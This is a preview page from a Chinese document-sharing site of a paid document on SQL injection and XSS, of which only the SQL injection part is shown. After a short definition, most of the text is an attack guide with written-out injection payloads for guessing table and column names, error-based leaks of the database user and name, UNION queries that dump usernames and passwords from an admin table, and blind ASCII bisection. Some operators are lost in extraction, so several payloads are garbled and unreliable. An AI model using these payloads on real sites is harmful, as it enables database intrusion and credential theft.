网站大量收购闲置独家精品文档,联系QQ:2885784924

SQL注入与XSS漏洞SQL注入与XSS漏洞.doc

  1. 1、本文档共6页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
SQL注入与XSS漏洞SQL注入与XSS漏洞

SQL注入与XSS漏洞所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击. 当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造(或者影响)动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。注入大致方法:      先猜表名   And (Select count(*) from 表名)0   猜列名   And (Select count(列名) from 表名)0   或者也可以这样   and exists (select * from 表名)   and exists (select 列名 from 表名)   返回正确的,那么写的表名或列名就是正确   这里要注意的是,exists这个不能应用于猜内容上,例如and exists (select len(user) from admin)3 这样是不信的   现在很多人都是喜欢查询里面的内容,一旦iis没有关闭错误提示的,那么就可以利用报错方法轻松获得库里面的内容   获得数据库连接用户名:;and user0   这个是小竹提出来的,我这里引用《SQL注入天书》里面的一段话来讲解:   ----------------------------------------------------------------------------------------------------------   重点在and user0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer   的出错提示是:将nvarch   -----------------------------------------------------------------------------------------------------------   看到这里大家明白了吧,报错的原理就是利用SQLserver内置的系统表进行转换查询,转换过程会出错,然后就会显示出在网页上,另外还有类似的and 1=(selet top 1 user from admin),这种语句也是可以爆出来的。;and db_name()0 则   是暴数据库名。   一旦关闭了IIS报错,那么还可以用union(联合查询)来查内容,主要语句就是   Order by 10   And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin   And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin   上面的order by 10主要就是查字段数目,admin就是表名,可以自己猜,user,passwd是列名   反正就是返回正确即对,返回异常即错   另外还有十分常用的ascll码拆半法   先要知道指定列名,例如user里的内容的长度   and (select len(user) from admin)=2 就是查询长度为不为2位,返回错误的增加或减少数字,一般这个数字不会太大,太大的就要放弃了,猜也多余   后面的逻辑符号可以根据不同要求更改的,   大于 小于 =就是等于咯,更新语句的话,=也可以表示传递符号 就是不等   知道了长度后就可以开始猜解了   And (Select top 1 asc(mid(user,n,1)) from admin)100   n就是猜解的表名的第几位,最后的长度数字就是刚才猜解出来的列名长度了,And (Select top 1 asc(mid(user,1,1)) from admin)10

文档评论(0)

cduutang + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档